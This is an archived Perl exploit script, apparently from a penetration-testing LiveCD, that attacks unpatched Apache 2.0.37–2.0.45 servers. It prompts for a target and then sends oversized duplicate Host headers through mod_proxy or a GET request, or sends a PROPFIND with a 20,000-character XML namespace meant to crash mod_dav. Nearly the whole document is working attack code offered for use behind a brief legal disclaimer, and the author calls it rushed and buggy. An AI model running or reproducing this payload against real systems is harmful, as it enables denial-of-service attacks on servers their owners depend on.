home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / Apache-Knacker.pl < prev    next >
Perl Script  |  2005-02-12  |  8KB  |  252 lines

  1. #!/usr/bin/perl
  2. #
  3. # Apache 2.0 APR Exploit
  4. # Written By Matthew Murphy
  5. # Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl
  6. #
  7. # Ever since I unveiled the additional details of the APR flaw in
  8. # Apache 2.0.37-2.0.45, I've been under pressure to "put my money
  9. # where my mouth is", and produce exploits for the flaw.  My answer
  10. # to these people was "just give me a few days until I figure them
  11. # out, and you'll be the first to know".  Well, despite a slight
  12. # delay, here you have it.
  13. #
  14. # This Perl script will successfully exploit any un-patched Apache 2.0
  15. # server that does not have the workarounds I highlighted applied.
  16. #
  17. # Okay, now it is time for my classic legal garb...
  18. # Given that this is rushed, and probably buggy in some capacity, this
  19. # is especially important here:
  20. #
  21. # No warranties are made about the performance of this tool, either
  22. # express or implied.  Your use of this tool is an implicit agreement
  23. # that you will not utilize it against a network if any of the following
  24. # occur:
  25. #
  26. # You do not administer the network
  27. # You are not the owner of the network, and do not have written permission
  28. #         from the owner for testing of this potential vulnerability (HP
  29. #          speak there! :-D).
  30. # Networks other than your own may be impacted by use of this tool in some
  31. #          way.
  32. #
  33. # You also agree NOT to hold the author of the tool responsible for any
  34. # damage resulting from its use, be it accidental or intentional, and also
  35. # agree that the consequences of utilizing this tool (and any damage such
  36. # use creates) are solely your responsibility.
  37. #
  38. # Contact:
  39. # E-mail: mattmurphy@kc.rr.com
  40. # Web: http://www.techie.hopto.org/
  41. # AIM: NetAddict4109
  42. #         or for the Windows folk among us:
  43. #         aim:goim?screenname=NetAddict4109
  44. #
  45. # Enjoy!
  46.  
  47. # Base64 Encoder
  48. #
  49. # If you want authentication with the server via HTTP's lame Basic
  50. # auth, put the proper string to encode BASE64 content, and use
  51. # '%s' to represent the credentials being encoded.  For instance:
  52. #
  53. # base64 %s
  54. #
  55. # would result in:
  56. #
  57. # base64 userid:password
  58. #
  59. # If your decoder requires you to use STDIN to pass the password
  60. # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
  61. # use '%s' on the command-line.
  62. $BASE64_CMD_STRING = "use_base64_encoder_here %s";
  63.  
  64. # Base64 encoder piping
  65. #
  66. # If your encoder requires the password to be written to STDIN,
  67. # set this to a nonzero value.  NOTE: This requires support for
  68. # bi-directional pipes on your OS version.
  69. $BASE64_USE_STDIN = 0;
  70.  
  71. # Base64 encoder input handling
  72. #
  73. # If your encoder requires a newline after your credentials,
  74. # set this to your newline character.
  75. $BASE64_WRITE_NL = "";
  76.  
  77. use IO::Socket;
  78. print STDOUT "Apache 2.0 APR Exploit\r\n";
  79. print STDOUT "By Matthew Murphy\r\n\r\n";
  80. print STDOUT "Enter the hostname/IP address of the server: ";
  81. $line = <STDIN>;
  82. $host = mychomp($line);
  83. print STDOUT "Enter the port of the server \[80\]: ";
  84. $line = <STDIN>;
  85. $port = mychomp($line);
  86. print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
  87. $line = <STDIN>;
  88. $char = mychomp($line);
  89. if ($char == "Y" || $char == "y") {
  90.          print STDOUT "What username shall we use: ";
  91.          $line = <STDIN>;
  92.          $user = mychomp($line);
  93.          print STDOUT "What password shall we use: ";
  94.          $line = <STDIN>;
  95.          $pass = mychomp($line);
  96.          $auth = "$user:$pass";
  97.          if ($BASE64_USE_STDIN) {
  98.                   # l33t Perl piping trix; NOTE: This is definitely
  99.                   # Alpha code! :-)
  100.                   pipe(STDOUTREAD, STDOUTWRITE);
  101.                   pipe(STDINREAD, STDINWRITE);
  102.                   open(OLDSTDIN, "&STDIN");
  103.                   open(OLDSTDOUT, ">&STDOUT");
  104.                   open(STDIN, "&STDINREAD");
  105.                   open(STDOUT, ">&STDOUTWRITE");
  106.                   close(STDINREAD);
  107.                   close(STDOUTWRITE);
  108.                   system($BASE64_CMD_STRING);
  109.                   open(STDIN, "&OLDSTDIN");
  110.                   open(STDOUT, "&>OLDSTDOUT");
  111.                   close(OLDSTDIN);
  112.                   close(OLDSTDOUT);
  113.                   print STDINWRITE $auth;
  114.                   close(STDINWRITE);
  115.                   read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
  116.                   close(STDOUTREAD);
  117.          } else {
  118.                   open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
  119.                   read(READOUTPUT, $base64, 4096); # See above
  120.                   close(READOUTPUT);
  121.          }
  122.          # Another hack for dealing with base64 encoders that output
  123.          # multi-lined encoded text.  HTTP specifically calls for a
  124.          # single line.  Note that this pattern also messes with spaces,
  125.          # tabs, etc., but base64 doesn't use those either, so this
  126.          # shouldn't matter.
  127.          $base64 = join("", split(/ /, $base64));
  128. } else {
  129.          $base64 = undef;
  130. }
  131. $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
  132. print STDOUT "Exploiting a proxy server \[Y/N\]? ";
  133. $line = <STDIN>;
  134. $char = mychomp($line);
  135. if ($char == "Y" || $char == "y") {
  136.          print $f "GET / HTTP/1.1\x0d\x0a";
  137.  
  138.          # Apache 2.0 tries to limit header inputs, but uses a hash table
  139.          # that ultimately concatenates multiple headers of the same name
  140.          # together with ", " between them, so:
  141.          #
  142.          # Host: a
  143.          # Host: b
  144.          #
  145.          # Bypasses Apache's buffer size checks, but ends up as:
  146.          #
  147.          # Host: a,b
  148.          #
  149.          # When processed.  Confirm this with a TRACE against your server:
  150.          #
  151.          # TRACE / HTTP/1.1
  152.          # Host: a
  153.          # Host: b
  154.          #
  155.          # The "message/http" body you receive will contain:
  156.          #
  157.          # TRACE / HTTP/1.1
  158.          # Host: a,b
  159.          #
  160.          # So, for those of you who are confused by this code fragment,
  161.          # this is what it ultimately achieves!
  162.          for ($i = 0; $i < 10; $i++) {
  163.                   print $f "Host: ".("A"x2000)."\r\n";
  164.          }
  165.          if (defined($base64)) {
  166.                   print $f "Proxy-Authorization: Basic ".$base64."\r\n";
  167.          }
  168.          print $f "\r\n";
  169. } else {
  170.          print STDOUT "What resource should be probed: ";
  171.          $line = <STDIN>;
  172.          $res = mychomp($line);
  173.          print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
  174.          $line = <STDIN>;
  175.          $char = mychomp($line);
  176.          if ($char == "Y" || $char == "y") {
  177.                   # WARNING:
  178.                   # Another section of alpha code here; mod_dav tends to barf
  179.                   # if given the smallest inconsistency, and this is not
  180.                   # exactly well-researched.  If this doesn't work for you,
  181.                   # target your DAV repository as a typical resource: if
  182.                   # UseCanonicalName On hasn't been set explicitly, mod_dav
  183.                   # will choke on that as well.
  184.                   #
  185.                   # STunnel should not have issues with this, as you can't
  186.                   # use a "Host" header in an SSL connection anyway, so
  187.                   # that is no problem.
  188.                   #
  189.                   # Note that if the body is too long, IIS servers will also
  190.                   # die (assuming of course, that the latest IIS cumulative
  191.                   # patch has not been applied), as they have had problems
  192.                   # dealing with WebDAV in the very recent past.
  193.  
  194.                   # XML Body of Request
  195.                   #
  196.                   # If everything works, mod_dav will attempt to format a
  197.                   # message with apr_psprintf() to indicate that our
  198.                   # namespace is invalid, leading to a crash.
  199.                   $xmlbody = "<?xml version=\"1.0\"?>\r\n";
  200.                   $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
  201.                   $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
  202.                   $xmlbody.= "</D:propfind>";
  203.  
  204.                   # HTTP headers
  205.                   print $f "PROPFIND $res HTTP/1.1\r\n";
  206.                   print $f "Host: $host:$port\r\n";
  207.                   print $f "Depth: 1\r\n";
  208.                   print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
  209.                   print $f "Content-Length: ".length($body)."\r\n\r\n";
  210.                   if (defined($base64)) {
  211.                            print $f "Authorization: Basic ".$base64."\r\n";
  212.                   }
  213.                   print $f "$xmlbody\r\n\r\n";
  214.          } else {
  215.                   # This does *almost* the exact same thing as the mod_proxy
  216.                   # code, and could be considered wasteful, but a few extra
  217.                   # CPU cycles never killed anybody. :-(
  218.                   print $f "GET $res HTTP/1.1\r\n";
  219.                   for ($i = 0; $i < 10; $i++) {
  220.                            print $f "Host: ".("A"x2000)."\r\n";
  221.                   }
  222.                   if (defined($base64)) {
  223.                            print $f "Authorization: Basic ".$base64."\r\n";
  224.                   }
  225.                   print $f "\r\n";
  226.          }
  227. }
  228. while (defined($ln = <$f>)) {
  229.          print STDOUT $ln;
  230. }
  231. undef $f;
  232. exit;
  233.  
  234. # FIXED: The perl chomp() function is broken on my distro,
  235. # so I hacked a fix to work around it.  This note applies
  236. # to ActivePerl 5.8.x -- I haven't tried others.  This is
  237. # another hackish fix, which seems to be the entire style
  238. # of this code.  I'll write better toys when I have time to
  239. # write better toys.
  240. sub mychomp {
  241.          my $data;
  242.          my $arg = shift;
  243.          my $CRLF;
  244.          if ($^O == "MSWin32") {
  245.                   $CRLF = 1;
  246.          } else {
  247.                   $CRLF = 0;
  248.          }
  249.          $data = substr($arg, 0, length($arg) - $CRLF);
  250.          return $data;
  251. }
  252.